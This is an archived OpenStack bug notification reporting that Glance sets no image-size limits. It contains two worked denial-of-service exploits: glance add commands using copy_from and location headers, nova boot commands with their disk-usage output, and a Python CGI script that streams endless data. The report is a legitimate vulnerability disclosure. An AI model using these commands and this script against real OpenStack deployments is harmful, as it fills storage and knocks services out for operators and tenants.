yahoo-eng-team team mailing list archive

[Joe Gordon <1029950@xxxxxxxxxxxxxxxxxx>]

** Also affects: glance
   Importance: Undecided
       Status: New

** Changed in: nova
       Status: Confirmed => Opinion

-- 
You received this bug notification because you are a member of Yahoo!
Engineering Team, which is subscribed to OpenStack Compute (nova).
https://bugs.launchpad.net/bugs/1029950

Title:
  No limits on image size

Status in OpenStack Image Registry and Delivery Service (Glance):
  New
Status in OpenStack Compute (Nova):
  Opinion
Status in OpenStack Security Advisories:
  Won't Fix

Bug description:
  Using Epel Essex packages on RHEL 6.3

  Glance should impose configurable limits (or tenant quotas) on the
  size of the images it allows to be registered and/or uploaded.

  Two separate example exploits here
  1. Glance Denial of Service by file system exhaustion
  2. Nova Compute Denial of Service by file system exhaustion

  = 1 =

  Using the glance x-image-meta-property-copy-from header it is possible
  to get glance to keep downloading a large resource until it fills up
  the local harddrive e.g.

  $ glance add name="big image" disk_format=raw container_format=ovf copy_from=http://server/cgi-bin/t.cgi # [1]
  Failed to add image. Got error:
  The request returned a 413 Request Entity Too Large. This generally means that rate limiting or a quota threshold was breached.

  The response body:
  413 Request Entity Too Large

  The body of your request was too large for this server.

   Image storage media is full: There is not enough disk space on the image storage media.  
  Note: Your image metadata may still be in the registry, but the image's status will likely be 'killed'.

  $ ls -lh /var/lib/glance/images/f1db6d09-1eac-4ce4-86ff-8a34bfea33af
  -rw-r--r--. 1 glance glance 87G Jul 27 13:03 /var/lib/glance/images/f1db6d09-1eac-4ce4-86ff-8a34bfea33af
  $ df -h /var/lib/glance/images/
  Filesystem            Size  Used Avail Use% Mounted on
  /dev/mapper/vg_rheva8c03-lv_root
                        104G   98G  261M 100% /

  this would allow any authenticated user to preform a denial of service
  on a glance server, with a file system backend. I havn't looked into
  swift but will it just keep going until is starts filling up storage
  nodes?

  = 2 =

  Nova is also open to a similar exploit, by using the x-image-meta-
  location header in a glance add, a large resource can be registered
  with glance, any nova compute node that tries to use this image to
  start an instance can have its disk space very quickly exhausted with
  a singe instance

  # Registering an image 1TB in size (can go bigger if needs be)
  $ glance add name="big image" disk_format=raw container_format=ovf location=http://server/cgi-bin/t.cgi
  Added new image with ID: 1a528173-7ca9-4320-b0f3-dac127a1f337

  $ glance index
  ID                                   Name                           Disk Format          Container Format     Size          
  ------------------------------------ ------------------------------ -------------------- -------------------- --------------
  1a528173-7ca9-4320-b0f3-dac127a1f337 big image                      raw                  ovf                   1099511627776

  $ nova boot --flavor 1 --image 1a528173-7ca9-4320-b0f3-dac127a1f337
  bigtest

  # the filesystem now fills up, the boot fails and nova deletes the partial download
  # next I check the apache logs to see how much nova downloaded. 
  "GET /cgi-bin/t.cgi HTTP/1.1" 200 93406637550 "-" "-"
  # Note : I know I will probably not get the same compute node next time but 
  # this will at least give me an idea of what size might be tolerated.
  # edit cgi script [1] to change the content length to something slightly smaller then 93406637550
  $ glance add name="smaller big image" disk_format=raw container_format=ovf location=http://server/cgi-bin/t.cgi
  Added new image with ID: a5eb1eab-1536-438f-82cf-4b642cf9d363
  $ glance index
  ID                                   Name                           Disk Format          Container Format     Size          
  ------------------------------------ ------------------------------ -------------------- -------------------- --------------
  a5eb1eab-1536-438f-82cf-4b642cf9d363 smaller big image              raw                  ovf                     90406637550
  1a528173-7ca9-4320-b0f3-dac127a1f337 big image                      raw                  ovf                   1099511627776

  $ nova boot --flavor 1 --image a5eb1eab-1536-438f-82cf-4b642cf9d363
  bigtest_2

  $ ls -lh /var/lib/nova/instances/_base/7f9a4e3c2891c537a784391cd962e6a5527d0a27 
  -rw-r--r--. 1 qemu qemu 85G Jul 27 14:13 /var/lib/nova/instances/_base/7f9a4e3c2891c537a784391cd962e6a5527d0a27
  $ df -h /var/lib/nova/instances/_base/
  Filesystem            Size  Used Avail Use% Mounted on
  /dev/mapper/vg_rheva8c03-lv_root
                        104G   97G  1.1G  99% /
  $

  [1] Standard http cgi script used as the vm image
  #!/usr/bin/python
  import os, sys, uuid

  print "Content-Type: text/html"
  #print "Content-Length: 1099511627776" # this shouldn't be present for first exploit
  print

  data = ''.join(uuid.uuid4().hex for a in range(500))
  if os.environ.get('REQUEST_METHOD') == "GET":
      while 1:
          print data
          sys.stdout.flush()

To manage notifications about this bug go to:
https://bugs.launchpad.net/glance/+bug/1029950/+subscriptions